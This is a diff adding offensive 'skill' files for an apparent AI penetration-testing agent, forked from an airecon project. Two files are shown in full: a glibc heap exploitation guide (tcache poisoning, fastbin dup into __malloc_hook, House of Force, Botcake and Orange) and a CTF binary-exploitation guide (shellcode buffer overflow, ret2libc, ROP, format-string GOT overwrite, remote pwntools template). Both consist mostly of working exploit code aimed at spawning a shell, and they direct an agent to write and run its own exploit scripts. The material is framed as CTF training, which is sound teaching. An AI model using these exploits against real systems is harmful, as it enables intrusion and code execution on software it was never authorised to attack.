  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,336 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # CTF Heap Exploitation — Advanced Techniques
4
+
5
+ Advanced glibc heap attacks for modern allocator (libc 2.27–2.35+). Assumes basic BOF/UAF knowledge.
6
+
7
+ ## Install
8
+
9
+ ```bash
10
+ pip install pwntools --break-system-packages
11
+ sudo apt-get install -y gdb gdb-peda libc6-dbg
12
+ # pwndbg (best heap commands):
13
+ git clone https://github.com/pwndbg/pwndbg /opt/pwndbg && cd /opt/pwndbg && ./setup.sh
14
+ # libc version checker:
15
+ ldd ./challenge | grep libc | awk '{print $3}' | xargs strings | grep "GNU C"
16
+ ```
17
+
18
+ ---
19
+
20
+ ## Phase 1: Libc & Heap Recon
21
+
22
+ ```bash
23
+ # Get libc version — determines available attacks:
24
+ ldd ./challenge
25
+ strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
26
+ # OR: file /lib/x86_64-linux-gnu/libc.so.6
27
+
28
+ # Get libc base (if PIE off or after leak):
29
+ python3 -c "
30
+ from pwn import *
31
+ elf = ELF('./challenge')
32
+ libc = ELF('./libc.so.6')
33
+ print(hex(libc.sym['malloc']))
34
+ print(hex(libc.sym['__malloc_hook'])) # target for older libcs
35
+ print(hex(libc.sym['__free_hook'])) # target for ≤ 2.33
36
+ "
37
+
38
+ # GDB heap inspection (pwndbg):
39
+ gdb ./challenge
40
+ heap # show all chunks
41
+ bins # show all bins (tcache, fastbin, unsorted, small, large)
42
+ chunks # list all allocated/freed chunks
43
+ vis_heap_chunks # visual heap layout
44
+ ```
45
+
46
+ ---
47
+
48
+ ## Phase 2: Tcache Attacks (libc 2.27–2.34)
49
+
50
+ ### Tcache Poisoning (libc 2.27–2.28)
51
+
52
+ ```python
53
+ # Tcache: singly-linked free list per size class, 7 entries max
54
+ # No integrity check in 2.27 — fd pointer can be anything
55
+
56
+ from pwn import *
57
+ p = process('./challenge')
58
+
59
+ # 1. Allocate and free two same-size chunks into tcache
60
+ alloc(0x40) # chunk A
61
+ alloc(0x40) # chunk B (to avoid consolidation with top)
62
+ free(A) # tcache[0x40]: A → NULL
63
+
64
+ # 2. Overwrite fd of A (via UAF or heap overflow) to target address
65
+ write(A, p64(target_addr)) # tcache[0x40]: A → target
66
+
67
+ # 3. Allocate twice → second alloc returns target
68
+ alloc(0x40) # returns A
69
+ alloc(0x40) # returns target (e.g. __malloc_hook, __free_hook, stack)
70
+
71
+ # Write shellcode/one_gadget to __free_hook:
72
+ write(target, p64(one_gadget))
73
+ free(any_chunk) # triggers one_gadget → shell
74
+ ```
75
+
76
+ ### Tcache Dup (Double Free, libc 2.27)
77
+
78
+ ```python
79
+ # libc 2.27: no double-free check in tcache
80
+ alloc(0x40) # chunk A
81
+ free(A) # tcache: A → NULL
82
+ free(A) # tcache: A → A (circular!) — works in 2.27
83
+ alloc(0x40) # returns A, tcache: A → A
84
+ alloc(0x40) # returns A again
85
+
86
+ # libc 2.28+: key field added — bypass:
87
+ # After first free, A->key = tcache pointer
88
+ # Overwrite A->key (8 bytes at A+8) before second free
89
+ write(A, p64(0) + p64(0)) # clear key
90
+ free(A) # second free now works
91
+ ```
92
+
93
+ ### Tcache Key Bypass (libc 2.29–2.34)
94
+
95
+ ```python
96
+ # Overwrite the key field to bypass double-free protection
97
+ # key = address of tcache_perthread_struct (constant per run if no ASLR)
98
+ leak_heap_base() # need heap address
99
+ tcache_struct = heap_base + 0x10 # typical offset
100
+
101
+ # Corrupt key field via partial overwrite (1-byte overflow):
102
+ overflow_into_key_byte(0x00) # zero out key → double free allowed
103
+ ```
104
+
105
+ ---
106
+
107
+ ## Phase 3: Fastbin Attacks (libc 2.23–2.26)
108
+
109
+ ### Fastbin Dup into Stack
110
+
111
+ ```python
112
+ # fastbin: 0x20–0x80 size range, singly-linked
113
+ # Vulnerability: double free allowed (no modern check)
114
+
115
+ alloc(0x60) # chunk A (fastbin size)
116
+ alloc(0x60) # chunk B
117
+ free(A) # fastbin: A → NULL
118
+ free(B) # fastbin: B → A
119
+ free(A) # fastbin: A → B → A (circular)
120
+
121
+ alloc(0x60) # returns A, fastbin: B → A
122
+ alloc(0x60) # returns B
123
+ # Overwrite B->fd to point near stack:
124
+ write(B, p64(stack_target - 0x8)) # fake chunk header offset
125
+ alloc(0x60) # returns A (fastbin: stack_target)
126
+ alloc(0x60) # returns stack_target → write here!
127
+ ```
128
+
129
+ ### Fastbin into __malloc_hook
130
+
131
+ ```python
132
+ # Classic: overwrite __malloc_hook with one_gadget
133
+ # __malloc_hook - 0x23 often has valid fake size (0x7f)
134
+
135
+ libc_base = leaked_libc_addr - libc.sym['puts']
136
+ malloc_hook = libc_base + libc.sym['__malloc_hook']
137
+ fake_chunk = malloc_hook - 0x23 # size field at offset -3 = 0x7f (valid fast chunk for 0x70)
138
+
139
+ alloc(0x60); alloc(0x60)
140
+ free(A); free(B); free(A)
141
+ alloc(0x60) # A
142
+ alloc(0x60) # B — overwrite fd:
143
+ write(B, p64(fake_chunk))
144
+ alloc(0x60) # A
145
+ alloc(0x60) # fake_chunk near __malloc_hook
146
+ # Write one_gadget at __malloc_hook offset:
147
+ write(at_fake_chunk, b'\x00'*0x13 + p64(one_gadget))
148
+ alloc(1) # triggers __malloc_hook → one_gadget
149
+ ```
150
+
151
+ ---
152
+
153
+ ## Phase 4: Unsorted Bin Leak (libc address)
154
+
155
+ ```python
156
+ # Freed chunk > 0x80 goes to unsorted bin
157
+ # Unsorted bin fd/bk → main_arena (+88 or +96) → libc
158
+
159
+ alloc(0x100) # chunk to leak
160
+ alloc(0x10) # prevent top-chunk consolidation
161
+ free(A) # goes to unsorted bin
162
+
163
+ # Read fd of freed A:
164
+ leak = read(A)[:8]
165
+ libc_leak = u64(leak)
166
+ libc_base = libc_leak - 0x3ebca0 # offset varies by libc version
167
+ # Verify: libc_base + libc.sym['puts'] should match known puts address
168
+
169
+ # Find correct offset:
170
+ # gdb: p/x &main_arena - (void*)libc_base
171
+ ```
172
+
173
+ ---
174
+
175
+ ## Phase 5: Largebin Attack (libc 2.29+)
176
+
177
+ ```python
178
+ # Largebin attack: corrupt largebin bk_nextsize → arbitrary write during malloc
179
+ # Effect: write heap pointer to arbitrary location
180
+
181
+ # 1. Free large chunk → unsorted bin
182
+ alloc(0x440) # L1
183
+ alloc(0x10) # separator
184
+ free(L1) # unsorted bin
185
+
186
+ # 2. Trigger unsorted bin sorting (alloc smaller):
187
+ alloc(0x430) # L1 moves to largebin
188
+
189
+ # 3. Free second large chunk (same size class):
190
+ alloc(0x440) # L2
191
+ alloc(0x10) # separator
192
+ free(L2) # unsorted bin
193
+
194
+ # 4. Overwrite L2->bk_nextsize → target - 0x20:
195
+ write(L2, p64(0) + p64(0) + p64(0) + p64(target - 0x20))
196
+
197
+ # 5. Trigger largebin insertion:
198
+ alloc(0x430) # L2 sorted → writes heap+0x20 to target
199
+ # Result: target contains heap pointer (useful for bypassing ASLR)
200
+ ```
201
+
202
+ ---
203
+
204
+ ## Phase 6: House of Techniques
205
+
206
+ ### House of Force (libc ≤ 2.26)
207
+
208
+ ```python
209
+ # Overflow top chunk size field → malloc arbitrary address
210
+ # top chunk size = -1 → any size alloc succeeds
211
+
212
+ overflow_top_chunk_size(p64(0xffffffffffffffff)) # set size = -1
213
+
214
+ # Calculate delta to target:
215
+ target = libc_base + libc.sym['__malloc_hook']
216
+ current_top = heap_base + known_offset
217
+ delta = target - current_top - 0x10 # subtract chunk header
218
+
219
+ alloc(delta) # advance top chunk to target
220
+ alloc(0x10) # returns target → overwrite __malloc_hook
221
+ ```
222
+
223
+ ### House of Botcake (tcache + unsorted bin, libc 2.29+)
224
+
225
+ ```python
226
+ # Bypass tcache double-free check via unsorted bin consolidation
227
+ # Result: chunk in both tcache AND unsorted bin → overlapping allocs
228
+
229
+ alloc(0x100) # prev (P)
230
+ alloc(0x100) # victim (A)
231
+ alloc(0x10) # separator
232
+
233
+ # Fill tcache for 0x100 size:
234
+ for _ in range(7): alloc(0x100); free(last_seven)
235
+
236
+ # Free P and A → A consolidates with P in unsorted bin:
237
+ free(P); free(A)
238
+
239
+ # Pop one from tcache:
240
+ alloc(0x100)
241
+
242
+ # Free A again → tcache now contains A:
243
+ free(A) # A is in BOTH tcache AND overlaps with P in unsorted
244
+
245
+ # Alloc from unsorted bin → overlapping chunk:
246
+ alloc(0x120) # overlaps with A
247
+
248
+ # Overwrite A->fd in tcache via overlap:
249
+ write(overlap, p64(target))
250
+ alloc(0x100) # drains tcache slot A
251
+ alloc(0x100) # returns target
252
+ ```
253
+
254
+ ### House of Orange (old, libc ≤ 2.25)
255
+
256
+ ```python
257
+ # Corrupt top chunk size → malloc triggers sysmalloc → _IO_flush_all_lockp
258
+ # Requires: overflow to top chunk size, heap addr, libc addr
259
+ # No free needed — useful when no explicit free primitive
260
+
261
+ # Set top chunk size to 0xc01 (valid, smaller than current brk):
262
+ overflow_top_chunk(p64(0xc01))
263
+ alloc(0x1000) # triggers sysmalloc → old top goes to unsorted bin
264
+
265
+ # Craft fake _IO_FILE structure in unsorted bin chunk:
266
+ # → overwrite _IO_list_all → _IO_flush → system("/bin/sh")
267
+ ```
268
+
269
+ ---
270
+
271
+ ## Phase 7: GDB Heap Commands (pwndbg)
272
+
273
+ ```bash
274
+ gdb ./challenge
275
+ run
276
+
277
+ # Heap inspection:
278
+ heap # all chunks with sizes and status
279
+ bins # tcache, fastbin, unsorted, small, large bins
280
+ vis_heap_chunks # color-coded visual map
281
+ chunks 10 # last 10 chunks
282
+
283
+ # Find specific chunk:
284
+ malloc_chunk <addr> # parse chunk header at address
285
+
286
+ # Tcache state:
287
+ tcache # show tcache entries per size
288
+ p tcache_perthread_struct
289
+
290
+ # One-gadget finder:
291
+ one_gadget /lib/x86_64-linux-gnu/libc.so.6 # install: gem install one_gadget
292
+ ```
293
+
294
+ ---
295
+
296
+ ## Phase 8: Libc Version Fingerprinting
297
+
298
+ ```bash
299
+ # From challenge binary:
300
+ ldd ./challenge # shows libc path
301
+
302
+ # From leak — search online:
303
+ # https://libc.blukat.me — paste leaked addresses
304
+ python3 -c "
305
+ from pwn import *
306
+ # After leaking puts address:
307
+ # libc = LibcSearcher('puts', puts_leak)
308
+ # libc_base = puts_leak - libc.dump('puts')
309
+ "
310
+
311
+ # Manual: check glibc symbol offsets:
312
+ python3 -c "
313
+ from pwn import *
314
+ libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
315
+ print(hex(libc.sym['system']))
316
+ print(hex(libc.sym['__free_hook']))
317
+ print(hex(libc.sym['__malloc_hook']))
318
+ print(hex(next(libc.search(b'/bin/sh'))))
319
+ "
320
+ ```
321
+
322
+ ---
323
+
324
+ ## Pro Tips
325
+
326
+ 1. **Always check libc version first** — attacks differ dramatically between 2.27/2.29/2.31/2.34/2.35
327
+ 2. **libc 2.34+**: `__malloc_hook` and `__free_hook` removed → use `__libc_system` overwrite via `exit` hooks or `IO_FILE` attack
328
+ 3. **tcache count** — tcache holds max 7 per size; 8th free goes to fastbin/unsorted
329
+ 4. **Heap leak**: allocate large chunk, free it, read first 8 bytes → libc main_arena pointer
330
+ 5. **one_gadget** — `one_gadget libc.so.6` finds single-gadget RCE (no args needed)
331
+ 6. **GLIBC safe-linking (2.32+)**: tcache fd = `(addr >> 12) XOR next` — deobfuscate with known heap bits
332
+ 7. Heap base usually ends in `000` — single nibble brute force for partial overwrites
333
+
334
+ ## Summary
335
+
336
+ Heap exploit flow: `checksec` → `ldd` for libc version → `gdb` with `pwndbg` → `heap/bins` to understand layout → identify primitive (UAF/overflow/double-free) → pick attack based on libc version → leak libc → overwrite hook/exit/IO_FILE → shell.
@@ -0,0 +1,294 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: ctf-pwn
5
+ description: CTF binary exploitation — buffer overflow, format string, ROP chains, ret2libc, heap exploitation, shellcode, using pwntools and GDB with PEDA/pwndbg in Docker Kali Linux
6
+ ---
7
+
8
+ # CTF Binary Exploitation (PWN)
9
+
10
+ PWN = find memory corruption → control instruction pointer → execute shellcode or ROP chain.
11
+
12
+ ## AIRecon Docker Constraints (Headless Only)
13
+
14
+ - AIRecon executes through Docker engine and terminal tools only.
15
+ - Avoid GUI-dependent debuggers and RE suites:
16
+ - no IDA GUI, no Ghidra UI, no x64dbg, no visual exploit IDE workflows.
17
+ - Prefer deterministic CLI pipeline:
18
+ - `checksec`, `file`, `nm`, `objdump`, `readelf`, `ROPgadget`, `gdb` batch, `pwntools`.
19
+ - Keep exploitation reproducible:
20
+ - write exploit scripts to `output/` or `tools/`,
21
+ - run them via `execute`,
22
+ - store proof outputs in files so the agent can reason across iterations.
23
+ - If an approach needs manual GUI interaction, replace it with scriptable equivalent before proceeding.
24
+
25
+ **Install:**
26
+ ```
27
+ pip install pwntools --break-system-packages
28
+ sudo apt-get install -y gdb gdb-peda radare2 checksec binutils ltrace strace
29
+ # pwndbg: git clone https://github.com/pwndbg/pwndbg /home/pentester/tools/pwndbg && cd /home/pentester/tools/pwndbg && ./setup.sh
30
+ # PEDA: git clone https://github.com/longld/peda /home/pentester/tools/peda && echo "source /home/pentester/tools/peda/peda.py" >> ~/.gdbinit
31
+ sudo apt-get install -y python3-pwntools
32
+ ```
33
+
34
+ ---
35
+
36
+ ## Binary Analysis First
37
+
38
+ # Check protections:
39
+ checksec --file=./vuln
40
+ # Output: RELRO, Stack Canary, NX, PIE, ASLR
41
+ # NX=No Execute (stack shellcode won't work)
42
+ # PIE=Position Independent Executable (ASLR on binary itself)
43
+ # Canary=Stack cookie (BOF must leak/bypass)
44
+
45
+ # Find file type:
46
+ file ./vuln
47
+ # ELF 64-bit / 32-bit, dynamically/statically linked
48
+
49
+ # Strings — find hardcoded flags, passwords, format strings:
50
+ strings ./vuln
51
+ strings -n 6 ./vuln | grep -i "flag\|pass\|key\|secret"
52
+
53
+ # Symbols and functions:
54
+ nm ./vuln | grep -i "func\|main\|win\|shell"
55
+ objdump -d ./vuln | grep -A5 "win\|shell\|system"
56
+
57
+ # Dynamic analysis — trace syscalls and library calls:
58
+ strace ./vuln # syscalls
59
+ ltrace ./vuln # library calls (libc functions)
60
+
61
+ ---
62
+
63
+ ## GDB with PEDA/pwndbg
64
+
65
+ gdb ./vuln
66
+
67
+ # Basic commands:
68
+ run # Start program
69
+ run < <(python3 -c "print('A'*100)") # With input
70
+ break main # Breakpoint at main
71
+ break *0x4011a3 # Breakpoint at address
72
+ info functions # List all functions
73
+ info registers # Register state
74
+ x/20wx $esp # Examine 20 words at ESP (32-bit)
75
+ x/20gx $rsp # Examine 20 qwords at RSP (64-bit)
76
+ x/s 0x4020a0 # Examine string at address
77
+ disassemble main # Disassemble function
78
+ p system # Print address of system()
79
+ p puts # Print address of puts()
80
+ find &system, +9999999, "/bin/sh" # Find "/bin/sh" string
81
+
82
+ # PEDA shortcuts:
83
+ pattern create 200 # Create cyclic pattern
84
+ pattern offset <value> # Find offset from crashed EIP/RIP
85
+ checksec # Security of current binary
86
+ ropgadget # Find ROP gadgets
87
+
88
+ # pwndbg shortcuts:
89
+ cyclic 200 # Cyclic pattern
90
+ cyclic -l <value> # Find offset
91
+ vmmap # Memory map
92
+ got # Global Offset Table
93
+
94
+ ---
95
+
96
+ ## Stack Buffer Overflow (BOF)
97
+
98
+ ### Find Offset
99
+
100
+ # Method 1: cyclic pattern (pwntools)
101
+ python3 -c "from pwn import *; print(cyclic(200).decode())" | ./vuln
102
+ # Read crashed EIP/RIP value, then:
103
+ python3 -c "from pwn import *; print(cyclic_find(0x<crashed_value>))"
104
+
105
+ # Method 2: binary search manually
106
+ python3 -c "print('A'*100 + 'B'*4 + 'C'*100)" | ./vuln # EIP=BBBB?
107
+
108
+ ### Basic BOF — No Protections (no NX, no canary, no PIE)
109
+
110
+ # shellcode = execve("/bin/sh") for x86-64:
111
+ python3 -c "
112
+ from pwn import *
113
+ context.arch = 'amd64' # or 'i386' for 32-bit
114
+ p = process('./vuln')
115
+ offset = 40 # adjust per cyclic
116
+ shellcode = asm(shellcraft.sh())
117
+ payload = shellcode + b'A' * (offset - len(shellcode)) + p64(0x<stack_address>)
118
+ p.sendline(payload)
119
+ p.interactive()
120
+ "
121
+
122
+ ### ret2win — function that calls system("/bin/sh") or prints flag
123
+
124
+ python3 -c "
125
+ from pwn import *
126
+ p = process('./vuln')
127
+ win_addr = 0x4011b6 # address of win() function (from nm or objdump)
128
+ offset = 40
129
+ payload = b'A' * offset + p64(win_addr) # p32() for 32-bit
130
+ p.sendline(payload)
131
+ p.interactive()
132
+ "
133
+
134
+ ### ret2libc — NX enabled, no PIE, no canary
135
+
136
+ python3 -c "
137
+ from pwn import *
138
+ elf = ELF('./vuln')
139
+ libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
140
+ p = process('./vuln')
141
+
142
+ # Step 1: Leak libc address via puts@plt -> puts@got
143
+ pop_rdi = 0x<rop_gadget_pop_rdi_ret> # find with: ROPgadget --binary ./vuln | grep 'pop rdi'
144
+ puts_plt = elf.plt['puts']
145
+ puts_got = elf.got['puts']
146
+ main = elf.sym['main']
147
+
148
+ payload = b'A' * <offset>
149
+ payload += p64(pop_rdi)
150
+ payload += p64(puts_got)
151
+ payload += p64(puts_plt)
152
+ payload += p64(main) # return to main for round 2
153
+ p.sendline(payload)
154
+
155
+ # Step 2: Calculate libc base from leaked puts address
156
+ leak = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
157
+ libc.address = leak - libc.sym['puts']
158
+ print(f'libc base: {hex(libc.address)}')
159
+
160
+ # Step 3: Call system('/bin/sh')
161
+ ret_gadget = 0x<ret_gadget> # ROPgadget --binary ./vuln | grep ': ret$'
162
+ payload2 = b'A' * <offset>
163
+ payload2 += p64(ret_gadget) # stack alignment for x86-64
164
+ payload2 += p64(pop_rdi)
165
+ payload2 += p64(next(libc.search(b'/bin/sh')))
166
+ payload2 += p64(libc.sym['system'])
167
+ p.sendline(payload2)
168
+ p.interactive()
169
+ "
170
+
171
+ ---
172
+
173
+ ## ROP Chain
174
+
175
+ # Find gadgets:
176
+ ROPgadget --binary ./vuln | grep "pop rdi"
177
+ ROPgadget --binary ./vuln | grep ": ret$"
178
+ ROPgadget --binary ./vuln --rop # automated ROP chain suggestion
179
+
180
+ # ropper (alternative):
181
+ sudo apt-get install -y ropper
182
+ ropper -f ./vuln --search "pop rdi"
183
+
184
+ ---
185
+
186
+ ## Format String Vulnerability
187
+
188
+ # Detect: input '%x.%x.%x' → if output shows hex values = vulnerable
189
+ printf '%x.%x.%x.%x.%x' | ./vuln
190
+
191
+ # Find offset (which positional arg contains your input):
192
+ python3 -c "print('AAAA' + '.%x' * 20)" | ./vuln
193
+ # Find where 41414141 appears → that's your offset (e.g., position 6)
194
+
195
+ # Leak arbitrary address value:
196
+ python3 -c "
197
+ from pwn import *
198
+ p = process('./vuln')
199
+ target_addr = 0x<address_to_read>
200
+ payload = p32(target_addr) + b'.%6\$s' # position 6 = your offset
201
+ p.sendline(payload)
202
+ p.interactive()
203
+ "
204
+
205
+ # Overwrite arbitrary address (GOT overwrite):
206
+ python3 -c "
207
+ from pwn import *
208
+ p = process('./vuln')
209
+ got_exit = 0x<exit_got_address>
210
+ win = 0x<win_function_address>
211
+ # Build format string write: writes win address to exit@GOT
212
+ payload = fmtstr_payload(6, {got_exit: win}) # offset=6
213
+ p.sendline(payload)
214
+ p.interactive()
215
+ "
216
+
217
+ ---
218
+
219
+ ## Remote Exploitation
220
+
221
+ python3 -c "
222
+ from pwn import *
223
+ # Switch between local and remote:
224
+ # p = process('./vuln')
225
+ p = remote('target.ctf', 1337)
226
+ # ... rest of exploit ...
227
+ "
228
+
229
+ ---
230
+
231
+ ## Quick Exploit Template (pwntools)
232
+
233
+ # tools/pwn_exploit.py
234
+ from pwn import *
235
+
236
+ context.log_level = 'info'
237
+ context.arch = 'amd64' # i386 for 32-bit
238
+
239
+ elf = ELF('./vuln')
240
+ libc = ELF('./libc.so.6') # if provided
241
+
242
+ # p = process('./vuln')
243
+ # p = remote('host', port)
244
+ p = gdb.debug('./vuln', '''
245
+ break main
246
+ continue
247
+ ''')
248
+
249
+ offset = cyclic_find(0xdeadbeef) # replace with actual crash value
250
+
251
+ # Build payload
252
+ payload = flat(
253
+ b'A' * offset,
254
+ p64(0x<address>),
255
+ )
256
+
257
+ p.sendlineafter(b'> ', payload)
258
+ p.interactive()
259
+
260
+ ---
261
+
262
+ ## Heap Exploitation (tcache/fastbin — libc 2.27+)
263
+
264
+ # Use-After-Free:
265
+ # Allocate chunk → free → use dangling pointer → control next allocation
266
+
267
+ # Double Free (tcache < 2.29):
268
+ # free(chunk) → free(chunk) again → tcache corrupted → arbitrary alloc
269
+
270
+ # Heap address leak: unsorted bin → fd points to main_arena in libc
271
+
272
+ # Tools:
273
+ # heapinspect: pip install heapinspect --break-system-packages
274
+ # pwndbg: heap, bins, chunks commands in GDB
275
+
276
+ ---
277
+
278
+ ## Pro Tips
279
+
280
+ 1. Always run `checksec` first — protections determine attack path
281
+ 2. NX off + no canary = shellcode on stack (simplest)
282
+ 3. NX on + no PIE = ret2libc with hardcoded PLT/GOT
283
+ 4. NX on + PIE + canary = need info leak first (format string or controlled read)
284
+ 5. For remote: leak libc → calculate base → call system('/bin/sh')
285
+ 6. `ROPgadget --binary ./vuln --rop` generates automatic chain suggestions
286
+ 7. Stack alignment: x86-64 requires 16-byte aligned stack before `call system` → add `ret` gadget
287
+
288
+ ## Summary
289
+
290
+ PWN flow: `checksec` → `strings` → `gdb` with `cyclic` to find offset → choose attack based on protections:
291
+ - No NX: shellcode → ret to stack
292
+ - NX, no PIE: ret2win or ret2libc (fixed addresses)
293
+ - NX + PIE: leak address → calculate base → ret2libc
294
+ - Format string: leak via `%x` chain → write via `fmtstr_payload`